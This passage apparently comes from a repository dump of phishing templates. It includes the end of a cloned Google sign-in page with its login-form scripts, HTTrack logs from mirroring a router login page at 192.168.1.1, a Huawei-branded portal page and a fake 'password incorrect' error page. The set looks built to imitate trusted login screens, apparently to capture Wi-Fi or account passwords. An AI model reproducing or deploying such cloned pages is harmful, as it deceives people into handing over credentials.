\r\n0!=D.N[224])for(A=D.R(224),J=A.length,b=0;X--;)b=(b+C(D))%J,l+=A[b];else{for(l=(A=0,[]);A<X;A++)l.push(g(D));for(b=A=(X=[],0);A<l.length;)J=l[A++],128>J?X[b++]=String.fromCharCode(J):191<J&&224>J?(a=l[A++],X[b++]=String.fromCharCode((J&31)<<6|a&63)):239<J&&365>J?(a=l[A++],T=l[A++],k=l[A++],J=((J&7)<<18|(a&63)<<12|(T&63)<<6|k&63)-65536,X[b++]=String.fromCharCode(55296+(J>>10)),X[b++]=String.fromCharCode(56320+(J&1023))):(a=l[A++],T=l[A++],X[b++]=String.fromCharCode((J&15)<<12|(a&63)<<6|T&63));l=X.join(\"\")}w(D,n,l)}),w)(D,210,function(D){S(D,1)}),w)(D,18,function(D,n,X){(X=(n=g(D),g(D)),w)(D,X,D.R(X)+D.R(n))}),w(D,74,74),w(D,215,function(D,n){(D=(n=g(D),D).R(n),D[0]).removeEventListener(D[1],D[2],false)}),w)(D,187,function(D,n,X,l){l=(X=(n=g(D),g(D)),g)(D),w(D,l,D.R(n)>>X)}),w)(D,76,0),D.K=[],w(D,142,p(4)),w(D,129,function(D,n,X,l,A){l=(X=(n=(l=(n=g(D),X=g(D),g)(D),D.R(n)),A=D.R(g(D)),D).R(X),D.R(l)),0!==n&&(l=V(D,l,A,1,n,X),n.addEventListener(X,l,q),w(D,55,[n,X,l]))}),w)(D,56,function(D,n,X){(X=(n=g(D),g(D)),n=D.R(n),w)(D,X,m(n))}),w)(D,165,function(D,n,X,l){(l=(X=(n=g(D),g)(D),g(D)),D.R(n)==D.R(X))&&w(D,l,D.R(l)+1)}),w)(D,96,0),w)(D,34,function(D,n){(n=D.R(g(D)),E)(D,n)}),w(D,80,function(D,n,X){0!=(X=(n=g(D),g)(D),D.R(n))&&w(D,31,D.R(X))}),w(D,162,{}),w)(D,229,function(D,n,X,l){if(n=D.K.pop()){for(X=g(D);0<X;X--)l=g(D),n[l]=D.N[l];n[222]=D.N[222],n[4]=D.N[4],D.N=n}else\r\n \r\nw(D,31,D.a.length)}),w(D,137,function(D){H(D,1)}),w(D,174,function(D,n,X,l,A){for(n=[],X=g(D),l=0;l<X;l++)A=g(D),n.push(D.R(A));X=g(D),w(D,X,function(D,X){D.v++;try{for(X=0;X<n.length;X++)(0,n[X])(D)}finally{D.v--}})}),w(D,103,function(D){D.i&&K(D,0)}),w(D,127,function(D){H(D,2)}),w)(D,245,function(D,n,X,l){(l=(n=g(D),X=g(D),g(D)),w)(D,l,D.R(n)||D.R(X))}),n&&\"!\"==n.charAt(0))?(D.Z=n,l()):(X=!!X.Y,D.i=X,D.a=[],G(D,[4,n]),G(D,[5,l]),v(D,false,X,true))},t=function(D,n,X,l,Z,r,M,B,A){D.v++;try{for(X=(l=5001,M=(r=void\r\n \r\n0,0),Z=20,D.a.length);(--l||D.H)&&(M=D.R(31))<X;)try{w(D,95,M),B=g(D),(r=D.R(B))&&r.call?r(D):I(D,21,0,B),0>Z--&&(Y(D,0),Z=20)}catch(b){b!=D.F&&(A=D.R(74),74!=A?(w(D,A,b),w(D,74,74)):I(D,22,b))}l||I(D,33)}catch(b){try{I(D,22,b)}catch(J){O(D,J)}}return\r\n \r\nX=D.R(162),n&&w(D,31,n),D.v--,X},W=function(D,n,X,l,Z){for(;D.S.length;){if(X&&n&&d(D)){Z=D,D.j(function(){v(Z,false,n,false)});break}l=(l=(X=true,D.S.pop()),h(D,l))}return\r\n l},w=function(D,n,X){if(31==n||95==n)if(D.N[n])D.N[n][D.B](X);else \r\nD.N[n]=D.P(X);else \r\nif(97!=n&&142!=n&&235!=n&&222!=n||!D.N[n])D.N[n]=D.I(X,D.R);21==n&&(D.g=void\r\n \r\n0,w(D,31,D.R(31)+4))},S=function(D,n,X,l){(l=(X=g(D),g(D)),c)(D,l,y(D.R(X),n))},e=function(D,n,X,l,Z,r){for(r=(Z=(X=(n={},g)(D),n.X=g(D),n.s=[],l=g(D)-1,g(D)),0);r<l;r++)n.s.push(g(D));for(n.W=D.R(X),n.M=D.R(Z);l--;)n.s[l]=D.R(n.s[l]);return\r\n \r\nn},O=function(D,n){D.Z=(\"E:\"+n.message+\":\"+n.stack).slice(0,2048)},g=function(D,n,X){if(n=D.R(31),!(n\r\n in D.a))throw I(D,31),D.F;return((void 0==D.g&&(D.g=f(D.a,n-4),D.U=void\r\n \r\n0),D).U!=n>>3&&(D.U=n>>3,X=[0,0,0,D.R(21)],D.u=P(D.g,D.U,X)),w)(D,31,n+1),D.a[n]^D.u[n%8]},I=function(D,n,X,l,Z){(X=(l=((Z=D.R(95),n=[n,Z>>8&255,Z&255],void\r\n 0!=l&&n.push(l),0)==D.R(222).length&&(D.N[222]=void \r\n0,w(D,222,n)),\"\"),X&&(X.message&&(l+=X.message),X.stack&&(l+=\":\"+X.stack)),D).R(4),3<X)&&(l=l.slice(0,X-3),X-=l.length+3,l=F(l.replace(/\\\\r\\\\n/g,\"\\\\n\")),c(D,142,y(l.length,2).concat(l),12)),w(D,4,X)},Q=function(D,n){try{N(this,D,n)}catch(X){O(this,X)}},C=(((((Q.prototype.G=function(D,n,X,l,Z){if(4==(n=D[0],n)){D=D[1];try{for(l=n=(X=atob(D),D=[],0);l<X.length;l++){for(Z=X.charCodeAt(l);255<Z;)D[n++]=Z&255,Z>>=8;D[n++]=Z}this.a=D}catch(r){I(this,17,r)}t(this)}else\r\n \r\nif(1==n)X=D[2],Z=D[1],X.push(this.R(97).length,this.R(142).length,this.R(235).length,this.R(4)),this.i=Z,w(this,162,D[3]),this.N[247]&&x(this,this.R(247));else{if(2==n){if(D=((Z=(((n=(Z=((D=y((X=D[2],this.R(97).length+2),2),Z=this.R(222),0<Z.length)&&c(this,97,y(Z.length,2).concat(Z),15),this.R(76))&511,Z-=this.R(97).length+5,this).R(142),4)<n.length&&(Z-=n.length+3),0<Z)&&c(this,97,y(Z,2).concat(p(Z)),10),4<n.length&&c(this,97,y(n.length,2).concat(n),153),p(2).concat(this.R(97))),Z[1]=Z[0]^3,Z[3]=Z[1]^D[0],Z)[4]=Z[1]^D[1],window).btoa){for(l=0,n=\"\";l<Z.length;l+=8192)n+=String.fromCharCode.apply(null,Z.slice(l,l+8192));D=D(n).replace(/\\\\+/g,\"-\").replace(/\\\\//g,\"_\").replace(/=/g,\"\")}else\r\n D=void 0;if(D)D=\"!\"+D;else \r\nfor(n=0,D=\"\";n<Z.length;n++)l=Z[n][this.B](16),1==l.length&&(l=\"0\"+l),D+=l;return((this.R(97).length=X[0],this.R(142).length=X[1],this.R(235)).length=X[2],Z=D,w)(this,4,X[3]),Z}if(3==n)x(this,D[1]);else\r\n if(6==n)return \r\nx(this,D[1])}},Q.prototype).f=\"caller\",Q.prototype).C=(window.performance||{}).now?function(){return\r\n window.performance.now()|0}:function(){return+new \r\nDate},Q.prototype).B=\"toString\",Q).prototype.j=L.requestIdleCallback?function(D){requestIdleCallback(D,{timeout:4})}:L.setImmediate?function(D){setImmediate(D)}:function(D){setTimeout(D,0)},function(D,n){return(n=g(D),n&128)&&(n=n&127|g(D)<<7),n}),v=(Q.prototype.o=function(D,n,X,l){try{l=D[(n+2)%3],D[n]=D[n]-D[(n+1)%3]-l^(1==n?l<<X:l>>>X)}catch(Z){throw\r\n Z;}},function(D,n,X,l,Z,r){if(0==D.S.length)return \r\nr;if(Z=0==D.v)D.l=D.C();return(r=W(D,X,l),Z)&&(X=D.C()-D.l,X<(n?10:0)||0>=D.O--||D.A.push(254>=X?X:254)),r}),K=(Q.prototype.D=function(D,n,X,l){(((l=(X=(D&=(n=D&4,3),g)(this),g(this)),X=this.R(X),n)&&(X=F((\"\"+X).replace(/\\\\r\\\\n/g,\"\\\\n\"))),D)&&c(this,l,y(X.length,2)),c)(this,l,X)},function(D,n){((n=D.R(31)-n,w)(D,31,D.a.length),D).S.push([3,n])}),E=((Q.prototype.b=35,Q).prototype.zS=function(D,n,X,l,Z,r){for(r=l=(X=[],0);r<D.length;r++)for(Z=Z<<n|D[r],l+=n;7<l;)l-=8,X.push(Z>>l&255);return\r\n X},function(D,n){(D.K.push(D.N.slice()),D).N[31]=void \r\n0,w(D,31,n)}),c=function(D,n,X,l,Z,r){for((Z=D.R(n),142==n?(n=function(D,n,X,l){if((X=(n=Z.length,n)-4>>3,Z.V)!=X){X=((l=(Z.V=X,[0,0,0,r]),X)<<3)-4;try{Z.$=P(f(Z,X),f(Z,X+4),l)}catch(J){throw\r\n \r\nJ;}}Z.push(Z.$[n&7]^D)},r=D.R(96)):n=function(D){Z.push(D)},l)&&n(l&255),l=0,D=X.length;l<D;l++)n(X[l])},q=false,H=function(D,n,X,l){for(X=g(D),l=0;0<n;n--)l=l<<8|g(D);w(D,X,l)},f=function(D,n){return\r\n \r\nD[n]<<24|D[n+1]<<16|D[n+2]<<8|D[n+3]},x=(Q.prototype.T=function(D,n,X,l,Z,r){if(this.Z)return\r\n \r\nthis.Z;try{Z=[],r=[],l=!!D,G(this,[1,l,Z,n]),G(this,[2,D,Z,r]),v(this,false,l,true),X=r[0]}catch(M){O(this,M),X=this.Z,D&&D(X)}return\r\n \r\nX},function(D,n,X){return((X=D.R(31),D.a&&X<D.a.length)?(w(D,31,D.a.length),E(D,n)):w(D,31,n),t)(D,X)}),V=function(D,n,X,l,Z,r){return\r\n function(){var M,B=l&1,A=[6,n,X,void 0,Z,r,arguments];return \r\nl&2?(G(D,A),M=v(D,true,false,false)):B&&D.S.length?G(D,A):B?(G(D,A),v(D,true,false,false)):M=h(D,A),M}},Y=(((Q.prototype.Nd=function(D,n,X,l){for(;X--;)31!=X&&95!=X&&n.N[X]&&(n.N[X]=n[l](n[D](X),this));n[D]=this},Q).prototype.h=36,Q.prototype).w=function(D,n,X){return(n=(n^=n<<13,n^=n>>17,(n^n<<5)&X))||(n=1),D^n},function(D,n){if(0>=D.J||1<D.v||D.C()-D.l<D.J)return\r\n false;return \r\nD.L=true,K(D,n),true}),d=(Q.prototype.H=false,function(D){if(D.J){if(!D.L)return\r\n false;D.L=false}else if(10>D.C()-D.l)return false;return \r\n0!=document.hidden?false:true});(((Q.prototype.Ro=function(D,n,X,l,Z){for(Z=l=0;Z<D.length;Z++)l+=D.charCodeAt(Z),l+=l<<10,l^=l>>6;return(l=(D=(l+=l<<3,l^=l>>11,l)+(l<<15)>>>0,new\r\n \r\nNumber(D&(1<<n)-1)),l)[0]=(D>>>n)%X,l},Q.prototype).R=function(D,n){if(void\r\n 0===(n=this.N[D],n))throw I(this,30,0,D),this.F;return \r\nn()},Q.prototype).m=function(D,n,X){if(3==D.length){for(X=0;3>X;X++)n[X]+=D[X];for(D=[13,8,13,12,16,5,3,10,(X=0,15)];9>X;X++)n[3](n,X%3,D[X])}},Q).prototype.F={};try{window.addEventListener(\"unload\",function(){},q),window.addEventListener(\"test\",null,Object.defineProperty({},\"passive\",{get:function(){q={passive:true}}}))}catch(D){}var\r\n \r\nU=(L.botguard||(L.botguard={}),L.botguard);(U.BKG=function(D,n,X){(X=new\r\n \r\nQ(D,{Y:n}),this).invoke=function(D,n,r){return(r=X.T(n&&D,r),D)&&!n&&D(r),r}},U).bg=function(D,n,X){return\r\n D&&D.substring&&(X=U[D.substring(0,3)])?new X(D.substring(3),n):new \r\nU.BKG(D,n)};')();</script>\r\n  <script type=\"text/javascript\">\r\n  document.bg = new \r\nbotguard.bg('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');\r\n\r\n  </script>\r\n<script>\r\n  (function() {\r\n  function gaia_setFocus() {\r\n  var form = null;\r\n  if (document.getElementById) {\r\n  form = document.getElementById('gaia_loginform');\r\n  }\r\n  if (form && form.Passwd) {\r\n  form.Passwd.focus();\r\n  }\r\n  }\r\n  if (!/iPad|iPhone|iPod/.test(navigator.userAgent)) {\r\n  gaia_attachEvent(window, 'load', gaia_setFocus);\r\n  }\r\n  })();\r\n</script>\r\n<script>\r\n  var gaia_scrollToElement = function(element) {\r\n  var calculateOffsetHeight = function(element) {\r\n  var curtop = 0;\r\n  if (element.offsetParent) {\r\n  while (element) {\r\n  curtop += element.offsetTop;\r\n  element = element.offsetParent;\r\n  }\r\n  }\r\n  return curtop;\r\n  }\r\n  var siginOffsetHeight = calculateOffsetHeight(element);\r\n  var scrollHeight = siginOffsetHeight - window.innerHeight +\r\n  element.clientHeight + 0.02 * window.innerHeight;\r\n  window.scroll(0, scrollHeight);\r\n  }\r\n</script>\r\n<script>\r\n  function gaia_onLoginSubmit() {\r\n  try {\r\n  gaia.loginAutoRedirect.stop();\r\n  } catch (err) {\r\n  // do not prevent form from being submitted\r\n  }\r\n  try {\r\n  document.bg.invoke(function(response) {\r\n  document.getElementById('bgresponse').value = response;\r\n  });\r\n  } catch (err) {\r\n  document.getElementById('bgresponse').value = '';\r\n  }\r\n  return true;\r\n  }\r\n  document.getElementById('gaia_loginform').onsubmit = gaia_onLoginSubmit;\r\n  var signinButton = document.getElementById('signIn');\r\n  gaia_attachEvent(window, 'load', function(){\r\n  gaia_scrollToElement(signinButton);\r\n  });\r\n</script>\r\n  \r\n\r\n</body></html>"
  },
  {
    "path": "sites/hts-cache/doit.log",
    "content": "192.168.1.1\nFile generated automatically on Mon, 13 Mar 2017 20:21:37, do NOT edit\n\nTo update a mirror, just launch httrack without any parameters\nThe existing cache will be used (and modified)\nTo have other options, retype all parameters and launch HTTrack\nTo continue an interrupted mirror, just launch httrack without any parameters\n\n"
  },
  {
    "path": "sites/hts-cache/new.lst",
    "content": "[backblue.gif]\n[fade.gif]\n[index.html]\n[192.168.1.1/img/login/logo.png]\n[192.168.1.1/img/login/icons-01.png]\n[192.168.1.1/index.html]\n[192.168.1.1/img/login/icons-02.png]\n"
  },
  {
    "path": "sites/hts-cache/new.txt",
    "content": "date\tsize'/'remotesize\tflags(request:Update,Range state:File response:Modified,Chunked,gZipped)\tstatuscode\tstatus ('servermsg')\tMIME\tEtag|Date\tURL\tlocalfile\t(from URL)\n20:21:38\t106/106\t---M--\t403\terror ('Forbidden')\ttext/html\t\thttp://192.168.1.1/robots.txt\t\t(from )\n20:21:38\t16677/16677\t---M--\t200\tadded ('OK')\ttext/html\t\thttp://192.168.1.1/\t192.168.1.1/index.html\t(from )\n20:21:38\t935/935\t---M--\t200\tadded ('OK')\ttext/plain\t\thttp://192.168.1.1/img/login/logo.png\t192.168.1.1/img/login/logo.png\t(from http://192.168.1.1/)\n20:21:40\t16060/16060\t---M--\t200\tadded ('OK')\ttext/plain\t\thttp://192.168.1.1/img/login/icons-02.png\t192.168.1.1/img/login/icons-02.png\t(from http://192.168.1.1/)\n20:21:41\t51843/51843\t---M--\t200\tadded ('OK')\ttext/plain\t\thttp://192.168.1.1/img/login/icons-01.png\t192.168.1.1/img/login/icons-01.png\t(from http://192.168.1.1/)\n"
  },
  {
    "path": "sites/huawei_eng/ayuda.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>HUAWEI</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house1\">\n\t\t\n\t\n\t\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"index.htm\"><font color=\"#9CBCE3\">--BACK TO MAIN PAGE--</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"index.htm\"><font color=\"#F6832A\"></A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"index.htm\"><font color=\"#9CBCE3\">Back To Main Page</A></span>\n\t</div>\n\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/huawei_eng/error.html",
    "content": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n\n        <TR>\n\n          <TD colspan=2></TD>\n\n        </TR>\n        \n        \n  </TR>\n \n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n\n\n<b><font color=\"red\" size=\"3\">ERROR</font>:</b> THE INSERTED PASSWORD IS <b>INCORRECT</b> !</b></TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n<tr><td colspan=\"2\" align=\"center\"><form><INPUT name=\"VOLVER\" onclick=\"history.back();return false\" class=\"buttonBig\" type=\"submit\" value=\"VOLVER\"/></form></td></tr>\n\n<tbody><tr><td height=\"50\" width=\"50\"><img 